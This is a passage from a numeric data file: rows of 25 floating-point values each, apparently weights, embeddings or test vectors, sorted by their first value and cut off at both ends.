-0.0958859, -0.612967, -0.2432474, 0.62680456, 0.19329824, -0.64395512, 0.9135808], [-0.21175072, -0.33273008, 0.35385736, 0.24759576, 0.039328336, 0.2566058, -0.09381152, -0.010194256, 0.09803428, 0.05725724, 0.36242564, 0.019898392, -0.26305916, 0.11926828, 0.031014944, 0.3503532, -0.2937908, 0.07088804, 0.2135136, -0.10287602, 0.35494508, -0.08157328, 0.021534, 0.16542736, -0.24586208], [-0.21105804, 0.32889512, -0.813532, 0.76670872, -0.58618584, 0.25941744, -0.813358, -0.21738608, 0.11321336, 0.8965576, 0.5969132, -0.037354752, 0.6612804, 0.22877852, 0.8943908, 0.9323772, 0.7165624, -0.1137314, -0.8753668, -0.6499706, 0.04036876, -0.1178128, 0.06929364, -0.77619864, 0.76883144], [-0.20927212, 0.14903712, 0.72990176, -0.4392632, 0.8413456, -0.5760944, -0.0974366, -0.06002384, -0.6353236, 0.7907648, -0.5303632, -0.7311232, -0.9253288, -0.9914704, -0.556602, -0.9794218, -0.6675224, 0.6421502, -0.3383582, 0.13468964, 0.4517584, -0.12705528, 0.22918168, 0.9982624, 0.4403472], [-0.2077442, -0.14306776, 0.39756384, 0.19246984, 0.03646024, 0.27618704, -0.11032728, -0.08558564, -0.17488028, -0.016821564, 0.25835992, 0.2955842, 0.291269, -0.16533748, 0.17991924, -0.2584512, 0.04684112, -0.3239962, 0.2941016, -0.05448168, -0.18564076, 0.22069952, 0.2446844, 0.3191664, -0.21478352], [-0.20582796, 0.012647816, -0.29253168, 0.14476192, -0.24797736, 0.35497404, -0.12488132, 0.22276272, -0.022871644, 0.11073788, 0.05440136, 0.12874752, -0.36323836, 0.2484956, -0.257357, 0.013793294, -0.06052102, 0.1162212, -0.2507938, -0.18445126, -0.1231522, 0.39520528, 0.2883776, 0.054874456, 0.22242808], [-0.19779188, 0.063648088, 0.079657784, -0.37338832, -0.2501808, -0.1917088, -0.22237944, -0.0799534, -0.09474112, -0.000156892, 0.34235628, -0.2073262, 0.31954016, -0.20644232, 0.24033684, 0.16959726, 0.265596, 0.3117084, 0.09907714, -0.07175826, 0.28454944, 0.27416448, -0.38468112, -0.044886904, 0.16300512], [-0.197138, -0.14745096, 0.047821496, -0.3350744, -0.26047696, -0.09523324, 0.2126592, -0.16857604, -0.24998648, -0.35065972, -0.2833648, -0.32232596, -0.015793332, 0.24830348, 0.31917572, -0.07015622, -0.348917, 0.3711754, -0.320247, 0.13984298, -0.38560256, 0.0886528, 0.077010176, 0.30505312, 0.031479], [-0.19590596, 0.044644768, 0.37790968, -0.07727236, -0.63586144, 0.2916898, -0.1238312, 0.5044176, -0.11247308, 0.7107328, -0.4685632, -0.4956428, -0.34905232, -0.9678608, 0.22582976, 0.901231, 0.6049634, -0.3104894, 0.09230736, -0.5701436, -0.3629234, -0.08586408, -0.155568, 0.61851688, 0.42816264], [-0.19510552, 0.847736, -0.36045656, 0.08917968, -0.31270552, -0.26553724, 0.900138, -0.4289452, -0.10321348, 0.4976928, 0.34966088, -0.10193192, 0.16489688, 0.18402468, -0.09974312, -0.237931, 0.3446864, 0.9010856, 0.9731562, 0.7241702, 0.07842576, 0.18550648, -0.9002904, 0.18318376, 0.10365248], [-0.19190484, -0.43414208, -0.9474808, -0.27610232, 0.182166, -0.21494952, 0.9883596, -0.6183756, 0.7490808, -0.08555984, -0.22020464, -0.311175, 0.6334936, 0.7686896, 0.4088048, 0.6933402, 0.2995482, 0.8755132, 0.5786826, -0.474664, 0.10271568, 0.43377496, -0.33445736, 0.48139296, -0.27230224], [-0.19042508, 0.071518048, 0.35264272, -0.023326952, -0.21636088, -0.1612846, 0.19391084, 0.09794932, 0.2494904, -0.028920236, 0.32470868, 0.07795396, -0.27613008, 0.262213, 0.004587656, 0.18529622, -0.11598758, -0.308906, 0.2149862, -0.16319228, -0.09473592, -0.2025324, 0.052545792, -0.14957032, -0.31617416], [-0.1855474, -0.027877392, -0.24304976, 0.2277004, -0.08302672, -0.1662748, -0.05967976, 0.399981, -0.05618392, -0.22001148, -0.2245554, 0.21745872, -0.37235188, 0.30744156, -0.33008172, -0.3184568, 0.2370038, 0.09252484, -0.2274544, 0.2669948, -0.05176576, 0.2369552, -0.075484184, -0.027813424, 0.005025806], [-0.18498264, -0.5636804, 0.8590408, -0.1748472, -0.024725008, -0.3380038, 0.5507956, -0.7652216, -0.7163812, 0.8891216, 0.9581756, 0.34543616, 0.08828384, -0.706762, -0.5525204, -0.16731448, -0.3194222, 0.05239972, -0.13401308, -0.5771138, 0.8900104, -0.1907984, -0.35859088, -0.39185112, -0.76648776], [-0.18278928, 0.1615516, 0.24266952, 0.031890432, 0.938656, -0.8495608, -0.874324, -0.4734312, 0.13124936, -0.5151048, 0.8904684, 0.36551824, 0.8319548, -0.7724156, 0.4253012, -0.105071, -0.13857178, 0.6553432, 0.5295278, 0.9364974, 0.6763524, 0.005677741, 0.49271496, -0.722284, 0.08730496], [-0.18257712, -0.777518, 0.2790404, -0.65850936, 0.58175208, 0.134356, -0.4884548, 0.8223328, 0.37212848, 0.6061492, -0.838186, -0.37094328, 0.8370408, 0.4254196, -0.477352, -0.2628664, 0.3891382, 0.3612978, -0.0571844, -0.7271772, 0.36848448, 0.9874664, -0.041850584, -0.8607088, 0.4272776], [-0.18151856, 0.18594064, 0.043008024, 0.09607552, -0.018982208, -0.29964184, 0.09472984, 0.13793404, 0.39279016, 0.237258, 0.33949596, 0.08195412, -0.19753008, -0.07363124, -0.0780556, 0.015163218, -0.2951864, 0.1962602, -0.386502, 0.15434264, 0.07795344, -0.066479912, -0.14287752, 0.071546992, -0.13742072], [-0.17770412, -0.3410336, -0.1683284, 0.26184232, -0.3722996, 0.34225276, -0.28790876, -0.07575616, 0.35323216, 0.2867354, 0.2432548, -0.10587252, 0.20712992, 0.032782836, 0.36291008, -0.08311596, 0.3797514, 0.229108, -0.18744948, 0.15048942, -0.14944464, -0.29648336, 0.17993576, -0.3904652, 0.18423752], [-0.17662708, 0.921592, 0.871916, -0.9638704, -0.8960512, -0.18052364, 0.62334, 0.402372, 0.467572, -0.39699224, -0.5879188, -0.4297028, -0.1817268, 0.38126608, -0.8889796, 0.04895222, -0.5256624, 0.9507672, 0.5736844, 0.16075236, -0.33246516, -0.30054744, -0.68498408, 0.11865968, 0.14444576], [-0.17280416, -0.10139824, -0.52166064, -0.26914736, -0.7380136, 0.8036992, 0.6911284, 0.1247294, 0.504974, 0.42787, -0.6305884, -0.7570328, -0.19079396, 0.5762824, 0.13451788, -0.9160678, 0.4692508, -0.8407786, 0.8452296, 0.9943664, -0.01376418, -0.71175632, 0.013806152, -0.09710728, 0.58461592], [-0.17127984, -0.24354192, -0.12239, 0.57407352, 0.28454608, -0.509, 0.5503308, -0.31758708, 0.759114, 0.36622368, 0.14494064, -0.4942808, 0.8095, -0.4520592, -0.35721132, -0.2519228, 0.2632022, -0.3729846, 0.9562244, 0.312177, 0.4353748, 0.05711368, 0.5597436, -0.19965312, 0.21305352], [-0.16979688, -0.60459888, 0.59819528, -0.013373624, -0.18537768, 0.7712072, -0.020541424, -0.6625916, -0.08019268, 0.05857168, 0.002858394, -0.6406328, 0.9625144, -0.769644, -0.5311476, 0.4741158, 0.246197, -0.5761992, 0.8951748, 0.3105202, 0.09744452, 0.9921376, 0.32425824, -0.27089136, 0.024537176], [-0.16516968, 0.078444096, -0.28368376, 0.0986664, 0.30392768, 0.09858376, 0.28681992, 0.18749172, -0.21427664, -0.11878168, -0.27900712, 0.05760624, -0.28286888, -0.15900032, 0.34859752, 0.3404796, -0.16871702, -0.02522066, -0.08513078, 0.0624079, 0.39529816, 0.03886948, -0.1801064, 0.16731312, -0.31924544], [-0.16476172, -0.70908112, -0.010748936, -0.9607672, -0.43567904, -0.06655308, 0.26624104, -0.996718, -0.019227632, 0.19655, 0.849794, 0.8575284, -0.282163, 0.6348948, 0.6468684, -0.2089488, 0.4406372, 0.6499286, 0.10742072, 0.329466, 0.33289208, -0.006944509, 0.11810152, -0.77697208, 0.56725072], [-0.16404436, -0.65160496, 0.7726724, 0.28105592, 0.08175136, 0.4041348, -0.0393407, 0.27447884, -0.771178, -0.4397328, 0.39638816, 0.4327116, 0.9277952, -0.9566496, 0.7881436, -0.012791568, -0.6591264, 0.9727056, 0.564735, 0.933426, 0.9448696, -0.1324212, -0.010410536, -0.4280284, 0.9481992], [-0.1607252, 0.79485168, -0.9743224, -0.9175256, 0.61506816, -0.5281748, 0.38003192, 0.7115584, -0.5696816, 0.27664376, 0.38264572, 0.32346744, -0.0594904, 0.18456612, -0.5601236, 0.1087101, -0.4606546, -0.2966168, 0.1406998, -0.817831, -0.7014708, 0.33034544, -0.79887464, -0.1904008, 0.26711256], [-0.1606296, 0.8481792, 0.9646248, -0.2998952, -0.73228872, -0.5750988, -0.923266, 0.3730948, 0.35554276, 0.445978, 0.4015452, 0.39922016, -0.8822992, 0.5300876, 0.447116, 0.3228266, -0.8892828, 0.18374878, 0.392798, 0.8580786, 0.2910658, -0.4353264, 0.37960872, -0.63814688, 0.9284864], [-0.1587748, 0.058521136, -0.34036808, -0.069091808, 0.17435168, 0.36859908, -0.27348588, 0.32587572, -0.11012056, 0.10324264, -0.2279602, 0.37471284, 0.10726108, -0.10287632, 0.30197556, -0.14493276, -0.2216144, -0.15939522, -0.374316, -0.06290284, 0.29158032, 0.3279892, 0.28549608, 0.0882668, -0.15044784], [-0.15606528, 0.08817408, 0.28997104, -0.14538424, -0.1811696, 0.25485084, -0.00945642, 0.32091864, -0.2195484, -0.20160476, -0.38231016, -0.1073664, 0.36392828, 0.38217952, 0.18554176, 0.1455157, -0.2639836, -0.2139488, 0.2598814, -0.3378286, 0.30239604, 0.066478896, -0.24267632, 0.2375244, 0.2176992], [-0.15247372, -0.51380232, -0.050391032, 0.8555848, -0.77216152, -0.14389752, 0.28333604, -0.8897036, -0.9524716, -0.509582, -0.5887448, -0.6582524, -0.846642, 0.9716044, 0.7800872, 0.19135658, 0.9349418, -0.16086268, 0.13306372, 0.2825182, -0.5557072, 0.9491552, -0.40387448, -0.71841344, -0.7188992], [-0.14898176, 0.18604328, -0.73383536, 0.19561912, -0.4726484, -0.7512828, -0.6201492, 0.010500052, -0.5062128, 0.9426484, 0.19387116, -0.9626012, 0.6373396, -0.9325208, 0.9146184, 0.4267506, 0.952864, -0.10744966, -0.10552092, 0.9701236, 0.1771486, 0.7445764, 0.16323096, 0.9979848, -0.27988088], [-0.14737512, -0.38601136, -0.70646032, -0.24371856, 0.12476488, 0.6579816, 0.4536072, -0.3304664, -0.7621744, -0.8605072, -0.559568, 0.27500716, 0.9751348, -0.5935036, -0.38738008, 0.6697708, -0.579419, 0.03931198, -0.8197462, -0.8884698, -0.21094128, 0.13978824, 0.64959376, 0.33528112, -0.35851136], [-0.1420064, 0.9681936, 0.72412648, -0.078677512, 0.08188736, 0.64102, 0.8790216, -0.3591, 0.78943, -0.898798, 0.8420064, 0.9112304, 0.406568, 0.8362236, -0.424212, -0.6727612, 0.9916722, 0.15763254, 0.662857, 0.3998922, -0.7213232, 0.47409208, -0.8737304, -0.552264, -0.47873328], [-0.14017332, 0.12375312, 0.11973232, -0.78611416, 0.28349576, -0.5584224, -0.182889, 0.4783308, 0.039366068, -0.13090796, 0.4475696, 0.026125024, -0.2253456, 0.6180264, -0.8996676, 0.8525974, -0.6252968, -0.5253268, 0.17221052, -0.268524, 0.5818336, -0.61525336, -0.63134336, 0.686856, -0.9115688], [-0.13522052, 0.9643536, 0.44328136, -0.34179624, 0.32591008, -0.7695904, 0.4511548, 0.36637168, -0.18987504, 0.984972, 0.20248536, 0.37658768, 0.30831388, -0.19540948, -0.6826908, -0.0920412, -0.6159172, -0.9457418, 0.3633194, 0.2160968, -0.482416, 0.9330112, -0.9078224, -0.40711024, -0.3606968], [-0.127437, -0.57415376, 0.9767592, -0.804336, -0.24233632, -0.07917088, 0.4797612, 0.9216196, 0.5869964, 0.03486994, 0.7772784, 0.12858192, 0.006966448, 0.10600624, -0.47197, -0.487721, 0.08961994, 0.550669, 0.3898868, -0.338278, 0.51454, -0.3690876, -0.6146744, -0.8097536, -0.43510664], [-0.12092752, 0.849032, -0.71327304, 0.21881424, 0.786596, 0.5459996, -0.5263344, 0.8521228, 0.1950598, 0.5923116, -0.06823048, 0.34014808, 0.899722, -0.15357824, 0.526542, -0.7742942, 0.5148906, -0.4077256, 0.02174822, -0.427311, -0.7469684, -0.31436776, -0.8178264, 0.20243256, 0.1671756], [-0.11905584, 0.62873424, -0.45503856, 0.51874888, -0.9641856, -0.23757372, -0.1735424, -0.7364484, -0.030709176, 0.09280972, 0.5227144, 0.9301132, -0.22145836, -0.9639048, 0.26430016, -0.857616, -0.3781702, -0.7415594, 0.18009006, -0.358467, -0.6391712, -0.067427952, -0.1309284, -0.67213016, -0.847304], [-0.11897876, 0.37027696, 0.2121824, 0.13370432, 0.040510056, -0.20166932, -0.1668012, -0.141867, 0.31083972, -0.36991876, 0.24483108, -0.25472248, -0.036687008, 0.39038624, -0.30571648, 0.09831856, -0.2291496, -0.01238669, 0.2555744, -0.02933696, -0.09987644, -0.14290736, -0.2636828, -0.16796352, 0.016880128], [-0.11753896, 0.787064, -0.58035792, 0.79643712, 0.55709176, -0.00797822, -0.208746, -0.5859008, 0.11885156, -0.8646992, 0.23008024, 0.23209648, -0.0195918, 0.422116, 0.442716, 0.9145098, -0.10932638, 0.8936812, -0.5838692, 0.8180066, 0.4799904, 0.3634796, -0.57510344, -0.78429616, 0.026000824], [-0.11689668, 0.2509276, -0.070568456, 0.28179856, -0.13930272, -0.13623436, 0.06503224, 0.39507756, 0.04359412, 0.36177588, 0.22389024, -0.12766752, 0.33411484, -0.32462604, 0.26022292, -0.2167004, -0.12321194, 0.05623128, 0.3815226, -0.2209814, -0.36448592, 0.0996512, 0.1401364, 0.11797488, 0.2134868], [-0.11315964, 0.2217128, 0.44002208, -0.27810984, -0.18846856, -0.9650164, -0.3065392, 0.7980028, 0.30532608, -0.36317316, 0.02757042, -0.5143504, -0.9149048, 0.911546, -0.8251484, -0.8662198, 0.9380926, -0.8946144, 0.9407574, 0.8643004, -0.8673316, 0.08487032, -0.58929376, -0.23610704, -0.710782], [-0.10360468, -0.1500644, -0.16237744, 0.11728384, -0.26633976, 0.12582708, -0.24835208, -0.28686816, -0.2899088, 0.1499032, 0.28353872, 0.069895, -0.20678688, -0.035094172, -0.20519356, 0.18094906, -0.376079, 0.0412794, 0.1262153, -0.17687664, 0.09601908, -0.38371952, -0.23949552, 0.12530088, 0.074061536], [-0.09487368, 0.9646872, -0.42990584, -0.43605136, -0.13088776, 0.6158332, -0.20785956, 0.6103576, 0.8001784, -0.567154, -0.29055256, -0.4454116, -0.659124, -0.5477528, 0.9628276, -0.8858116, -0.6947688, 0.25759, 0.268571, -0.916536, -0.6958964, 0.8749104, -0.57924096, 0.9650072, -0.53038552], [-0.09250868, 0.2650692, -0.050881608, -0.012415536, -0.25994672, 0.34887412, -0.14434044, 0.2555818, -0.2825324, 0.30560492, -0.16960756, 0.27698336, 0.23332744, -0.237866, -0.33728324, -0.18776466, 0.09984382, 0.3202236, 0.17778248, -0.3030076, 0.37665716, -0.37628088, 0.38629976, 0.022791672, 0.3404556], [-0.09059148, -0.43100712, -0.29204464, 0.60959416, 0.59624736, 0.6540712, -0.33332876, -0.7348284, -0.426882, 0.26295224, 0.9510956, 0.2552846, 0.669472, 0.016605164, -0.6056312, -0.9812836, 0.5230824, -0.13070554, -0.9466232, -0.9077742, 0.6567364, 0.061882088, -0.9178808, 0.70048888, 0.579478], [-0.08789604, 0.70150432, 0.9851704, 0.33797104, -0.077144496, 0.889118, 0.05661224, 0.14619312, -0.870594, 0.8958688, -0.7730924, -0.7447828, -0.7757072, 0.28995712, 0.2928882, -0.455651, -0.6593138, -0.415461, -0.3104562, 0.6760774, 0.6365992, 0.63291416, -0.16049304, 0.8234384, -0.056915184], [-0.08569752, -0.2632916, -0.8722128, 0.60960912, -0.28865144, -0.704086, 0.8299756, 0.5492568, 0.659226, 0.26679768, -0.33379448, 0.38680044, -0.37390468, 0.18493864, 0.09998692, 0.455108, -0.02465644, -0.6326296, -0.5993638, 0.11933472, 0.7947204, 0.829568, -0.21211016, -0.47487504, -0.328412], [-0.08554544, -0.9427696, 0.66853832, 0.838028, -0.43098192, -0.36921072, -0.4960256, -0.018608968, 0.30763908, -0.5504848, 0.7376096, -0.598866, -0.993428, 0.8153388, -0.15210504, -0.2080624, -0.8600686, 0.5636722, -0.7331118, -0.367267, 0.5796496, 0.56681928, -0.102094, 0.9438632, -0.44841904], [-0.08497392, -0.39920568, -0.034090384, -0.30390288, 0.23221728, 0.1115104, -0.13808304, 0.33245248, -0.06707216, 0.0528438, 0.10725144, -0.22535376, -0.0468342, -0.16377364, 0.13310292, -0.01184271, 0.3119688, -0.08620102, 0.2345442, 0.10421108, -0.20186, 0.29538768, -0.11118328, 0.37585712, 0.13173184], [-0.0787502, -0.31680968, 0.68653568, 0.6746732, 0.51605792, 0.6176272, 0.6513772, -0.415108, 0.02800788, 0.7468044, 0.9895236, 0.09951264, -0.15392684, 0.028152064, -0.8731604, -0.012661944, -0.250177, -0.3643994, -0.6724736, -0.2805494, -0.5347556, 0.983472, 0.52721888, 0.58705304, -0.8634968], [-0.07742116, -0.000108005, 0.20264232, 0.17366432, 0.8353712, -0.4412904, 0.2106774, 0.23617344, -0.67699, 0.5778964, -0.7698268, 0.4414552, 0.4117324, 0.17868904, 0.9910016, -0.9720596, 0.246764, 0.09405492, -0.08382832, 0.7852174, 0.86644, -0.9341288, 0.12138912, -0.22544, 0.54770544], [-0.07360212, -0.49892688, 0.97468, 0.39668152, 0.6381656, -0.6474916, -0.4399636, -0.21081496, 0.28045224, -0.6849712, -0.7714788, 0.1205222, 0.3580966, 0.36200172, 0.4309788, 0.498431, -0.519131, 0.9146338, 0.2257974, 0.05190116, 0.5253872, 0.9423344, -0.43495504, -0.69165456, -0.1451484], [-0.06981348, -0.25626736, -0.42756976, -0.36582264, -0.78795448, -0.468528, 0.31934812, 0.34000564, 0.3014682, -0.09589952, 0.33203648, 0.7641284, 0.25122928, -0.5778432, 0.934668, -0.4296504, -0.4117422, 0.2777354, 0.3872164, 0.5554818, 0.5637972, -0.8085864, 0.59577624, -0.23996984, -0.87364], [-0.06350868, 0.62819936, 0.31731384, 0.66402208, -0.2761208, 0.4852568, -0.8157488, -0.9959104, -0.4347708, -0.6706452, -0.9836724, -0.23276736, -0.36364408, -0.6377988, -0.17626576, 0.9166644, -0.3831048, -0.05140458, -0.9541068, -0.2694826, 0.644376, 0.27623024, 0.3670288, 0.8240032, -0.52991352], [-0.0579382, -0.23100704, 0.57604504, 0.944576, -0.13046792, -0.30876544, -0.7631044, 0.13876776, -0.3439668, -0.38410636, -0.0573358, -0.9974492, -0.27922644, -0.8842964, -0.8288524, -0.5814332, -0.9520884, -0.02009012, 0.2414934, 0.18434352, -0.24406888, -0.2582624, -0.49882096, -0.24926288, -0.34190952], [-0.05148044, 0.19589776, -0.016948104, -0.27660712, -0.37984008, -0.10138396, -0.17906668, -0.23547844, -0.032458008, -0.38513244, 0.0535942, 0.16260744, -0.21262248, -0.23630784, -0.04814532, -0.009061214, 0.10973986, -0.09260414, 0.09156328, -0.3800572, 0.26972204, 0.33671072, 0.19646712, -0.010845424, 0.09999184], [-0.05003136, -0.02029056, -0.28732832, -0.072503128, 0.3944608, 0.09774516, 0.37182012, -0.25886572, 0.05178164, 0.39092332, -0.227605, -0.11996508, -0.07559936, 0.37708864, 0.15262824, -0.1825259, 0.3362374, 0.19024668, 0.11620132, -0.05010692, -0.281166, -0.021220128, -0.206292, -0.029076376, -0.0910056], [-0.04624124, 0.641152, 0.17820472, 0.8963152, -0.60075432, 0.27486972, -0.17783524, 0.979542, -0.8427604, -0.9702744, -0.18544088, 0.7612084, -0.7568192, 0.39084912, 0.4868228, -0.02373282, -0.8641148, 0.015216606, -0.317805, -0.9796482, 0.5721952, -0.11780464, -0.8370952, 0.5817472, -0.5866392], [-0.039158676, -0.37336016, -0.28370584, -0.20612968, -0.227544, -0.12271924, -0.16696792, 0.2579468, -0.07082984, -0.001932322, -0.24098524, -0.18500288, 0.28774408, -0.085344, -0.10250196, -0.3729924, 0.3919166, 0.2634008, -0.2212832, 0.2672122, -0.05922616, 0.2314956, -0.349806, -0.009518064, 0.27573056], [-0.033041744, -0.65541656, 0.30717864, 0.74276376, 0.1345588, -0.7978448, -0.6317012, -0.5584964, 0.7527012, -0.765708, -0.5972268, 0.5420876, 0.31413308, -0.24811804, -0.05871244, 0.291622, 0.2657408, 0.837245, -0.448887, -0.3405756, 0.8224152, -0.3058936, -0.50541496, -0.79317472, -0.72795128], [-0.03231222, 0.95036, 0.8028296, 0.37781592, -0.42827184, -0.037972852, 0.27646976, 0.142319, 0.18920224, -0.22135928, -0.34963616, 0.5830988, 0.9781332, 0.21854092, 0.8408052, -0.761179, -0.6415114, -0.5618, 0.5898468, -0.5027876, -0.8731268, 0.45193384, -0.76913856, 0.059693712, -0.45521704], [-0.029579204, -0.65984456, 0.8239232, -0.65191656, 0.850748, -0.5822012, -0.4442292, -0.8339644, 0.5025284, 0.05831688, 0.7105236, 0.10490264, 0.461228, -0.4665324, 0.12711564, -0.4175064, -0.8374386, 0.2870572, 0.8139956, 0.5100586, -0.4830784, -0.78018952, 0.2018708, -0.9483432, -0.39313984], [-0.025849676, -0.20599408, -0.32823536, 0.38048984, -0.13675632, 0.16023376, 0.29762224, 0.30764272, -0.07516968, -0.30783604, 0.37024544, 0.024047028, 0.17154, 0.3950634, -0.014417296, 0.3999122, 0.2840624, -0.3239198, -0.19403478, -0.3001122, 0.028655076, -0.029909936, 0.37197912, 0.26493488, -0.358344], [-0.02288724, -0.13957424, 0.21620368, 0.023812016, -0.8467496, 0.6742064, 0.26268584, 0.23335248, 0.5483236, -0.761328, 0.15348196, -0.7459588, -0.9230208, 0.28645324, -0.5084764, 0.11647918, 0.781055, -0.2589396, 0.3787166, -0.3564598, 0.39209564, -0.27192096, 0.47048016, -0.23960648, -0.18584696], [-0.018261384, -0.1213956, 0.008005224, 0.15790632, -0.2510628, 0.3719932, 0.36474728, -0.35148268, -0.1081982, -0.0657126, 0.06191156, 0.30232604, -0.20327884, 0.16070156, -0.35482932, 0.2959782, -0.3055214, -0.2997904, 0.215883, -0.07968188, -0.17823652, 0.30390736, 0.25039792, -0.010345528, -0.20351408], [-0.015871608, -0.24732824, 0.24491728, -0.4137092, -0.72460232, 0.005893524, -0.14003432, -0.23042108, -0.4744324, 0.37829148, 0.6115476, 0.6226, 0.550688, 0.1230042, -0.5737228, 0.973764, 0.2142392, -0.3266958, -0.7394538, 0.8052924, -0.39583212, 0.18979016, 0.72699568, -0.76336872, -0.8387304], [-0.011779968, -0.5639384, 0.71341736, -0.007095397, -0.42070584, -0.35309616, -0.4629232, 0.31721604, 0.8096024, 0.6023992, -0.9341508, 0.9169556, 0.9865228, 0.38142232, 0.07072296, -0.8546764, -0.3012708, -0.449503, -0.6678058, -0.5057264, -0.4057104, -0.16871528, 0.55531864, -0.11600384, -0.24292048], [-0.004094104, -0.21274304, 0.17413648, 0.58600448, 0.47767128, -0.8370772, -0.4639412, 0.5369044, 0.6492664, -0.4279928, -0.8146776, 0.841708, 0.5177728, 0.06184064, -0.32424644, -0.8242896, -0.3933084, -0.2430852, 0.4551622, -0.2084672, -0.8640692, 0.50927824, -0.1697996, -0.60640944, -0.8852112], [0.003048136, 0.21032008, 0.38832872, -0.38161824, -0.8302344, 0.6123792, -0.2954794, -0.8552476, -0.30692208, 0.8569436, -0.489626, 0.5386572, -0.614456, -0.13222112, -0.020026436, 0.8590158, 0.781548, -0.02936088, -0.7596974, -0.6587568, -0.8733244, -0.29324944, 0.9765816, 0.2866332, -0.04623972], [0.00855144, 0.04949448, 0.2448128, 0.35774784, 0.121002, -0.33738976, 0.30358316, -0.06176048, 0.36617184, 0.3065716, -0.05703204, 0.3515576, 0.37289092, -0.2627102, 0.29780176, -0.17089666, 0.11514842, -0.19279522, -0.12039512, -0.1960668, -0.34010044, -0.32569176, 0.3819352, -0.24417496, 0.38460552], [0.01774548, 0.9357296, -0.811212, 0.44921408, -0.10627416, 0.9322908, -0.977506, -0.6376924, 0.6806376, 0.12556024, 0.31432788, -0.6349912, -0.7553624, 0.706994, -0.6275644, 0.2704318, -0.6029676, 0.4496152, -0.8963556, -0.9607236, 0.7896764, -0.58695632, 0.054108528, -0.08178944, -0.8222784], [0.0286809, -0.56265552, 0.69713968, -0.061009504, -0.8733416, 0.9983768, 0.022685324, 0.30523012, -0.07063436, 0.3594252, -0.7848084, -0.6702664, -0.4446996, -0.002623558, -0.8538028, 0.06389342, -0.2023238, -0.4413354, 0.818707, 0.2207098, -0.26120464, -0.8177376, -0.08078896, -0.046295664, -0.9006536], [0.029604172, 0.24546336, 0.16576608, -0.08718112, -0.24448272, 0.28237512, -0.36518512, -0.030324404, 0.00730868, 0.12032244, -0.28878696, 0.31362828, -0.33070772, -0.38574356, -0.05400932, -0.2387986, 0.01497239, 0.2574658, 0.1067252, -0.335106, -0.25059904, 0.37291088, -0.18466648, -0.28729664, -0.26590776], [0.030310224, 0.9172968, -0.8414776, 0.6951452, 0.43787816, 0.06213208, -0.3667768, 0.9769992, -0.9192448, -0.4282364, -0.17826568, -0.019969644, 0.7819532, -0.97944, 0.7930804, -0.552616, -0.5595884, -0.6472816, -0.486738, 0.9735008, -0.4533128, 0.46444416, 0.1824048, -0.9896272, 0.36232184], [0.031274352, -0.1849092, 0.8991448, -0.29473448, -0.9990784, 0.59353, -0.01693018, -0.2628208, -0.8445612, 0.9979976, 0.86101, 0.33647972, 0.7764104, -0.79409, -0.8008536, -0.9977002, 0.7605006, 0.7044062, -0.3897856, 0.9053344, -0.0945986, 0.61400912, 0.044923344, -0.78885944, -0.60350536], [0.033540012, 0.9228792, 0.60977936, 0.576568, -0.75024592, 0.18618156, 0.21217924, 0.422904, 0.702964, 0.4086244, 0.5190264, -0.004983032, -0.6991284, 0.5582884, 0.8330996, -0.04658914, -0.827279, 0.15857236, 0.7431674, 0.02906884, -0.30655444, 0.74129816, -0.22139936, 0.910368, 0.05242912], [0.05364796, -0.72562248, -0.10259744, 0.20125744, -0.40473648, -0.7209696, 0.8366068, 0.527864, 0.4370456, -0.6391896, 0.1194684, 0.80524, -0.0654162, -0.4192752, -0.7007472, 0.821219, -0.975382, -0.3188882, -0.9089218, -0.10825854, -0.29424652, -0.66788816, -0.91276, -0.034155808, -0.63408864], [0.05377176, -0.02582612, -0.27920816, -0.2378972, 0.29459368, -0.26903112, 0.14081168, -0.24186684, -0.13072088, -0.25722448, 0.22649828, 0.23183332, 0.2820036, 0.14248408, 0.039070996, -0.05611298, -0.18679004, 0.2593072, 0.2706964, 0.02085142, 0.2530998, 0.26696968, -0.29961088, -0.32910496, 0.011826072], [0.0544348, -0.8263728, -0.79125232, -0.2355808, 0.671994, 0.2642318, 0.826416, 0.65738, -0.627702, -0.21083572, -0.9911488, -0.947774, 0.423218, 0.8773156, 0.2375284, -0.4915022, 0.6170952, 0.9919102, 0.9960544, 0.5491064, 0.5521196, 0.51456232, -0.12157008, -0.3957284, -0.11745368], [0.0545224, 0.07428532, -0.56195992, -0.3814896, -0.59203432, 0.25482716, -0.6487696, -0.19417588, 0.3916264, 0.407792, -0.7084112, 0.35889804, -0.4387104, 0.04292772, 0.7868276, -0.07257586, -0.264602, -0.9395136, -0.8049516, 0.01806124, -0.4709652, 0.22176456, -0.71528064, 0.74319608, -0.8490856], [0.0584042, 0.39813464, 0.9111936, -0.15215592, -0.79066168, -0.004172236, 0.7332888, -0.604832, 0.792826, 0.29209104, 0.16078768, 0.5953232, -0.8066604, 0.7325032, 0.9148332, -0.5723718, 0.5750506, -0.9847076, 0.8704364, -0.9159616, -0.859706, -0.8606544, 0.9093096, 0.15003368, 0.43639728], [0.05889864, -0.49677616, -0.6058988, -0.75063376, -0.3045512, 0.5688536, 0.7316744, 0.9467532, 0.5405176, 0.6745412, 0.81183, -0.6266456, -0.7809808, -0.020997344, -0.363165, -0.05858284, 0.3862084, 0.7742456, 0.8626214, 0.2372274, 0.01043208, 0.64757576, 0.08227952, -0.53561192, -0.48058184], [0.06016664, 0.37788408, -0.09393448, -0.003435, -0.08645664, -0.020066324, 0.057687, -0.21095652, 0.33676872, 0.22688052, -0.27244192, 0.1448268, -0.31513556, -0.11336088, 0.37734984, 6.32e-05, -0.10891276, 0.3505862, 0.04802368, -0.15506636, 0.2073268, 0.10908656, -0.24544072, 0.21338768, -0.19085008], [0.06032308, -0.51333936, 0.32216048, 0.8739936, -0.37112248, 0.93103, 0.4256544, 0.6252728, -0.9382872, -0.8731544, -0.24362144, 0.8979096, 0.21029944, 0.5340436, 0.7752452, -0.3979462, -0.17413872, 0.006229346, -0.9998594, -0.5138988, 0.4837196, 0.13518192, 0.873496, 0.2026928, -0.14364392], [0.06376048, 0.12211448, 0.34575264, -0.10213152, -0.046375216, -0.19114228, -0.07143976, -0.10083452, 0.19526156, 0.39971636, -0.07700552, -0.15912204, -0.22107696, 0.1575332, -0.06105672, 0.04013536, -0.10090756, 0.3944994, 0.14914278, 0.2115616, 0.39027912, -0.16147648, 0.28938568, -0.39164912, 0.21498728], [0.06813604, -0.017531896, 0.28552648, -0.23478952, 0.02421852, -0.05165052, 0.39644892, -0.34949548, -0.21350432, -0.22959092, 0.3350298, 0.19779704, -0.2188258, 0.22446728, -0.1795448, -0.3188586, 0.09789738, 0.12152466, -0.14764884, -0.0618788, 0.11109576, 0.21469032, -0.09507728, -0.24503936, -0.23521328], [0.07155928, -0.057678184, -0.03833308, 0.09159632, -0.36471496, 0.00792398, 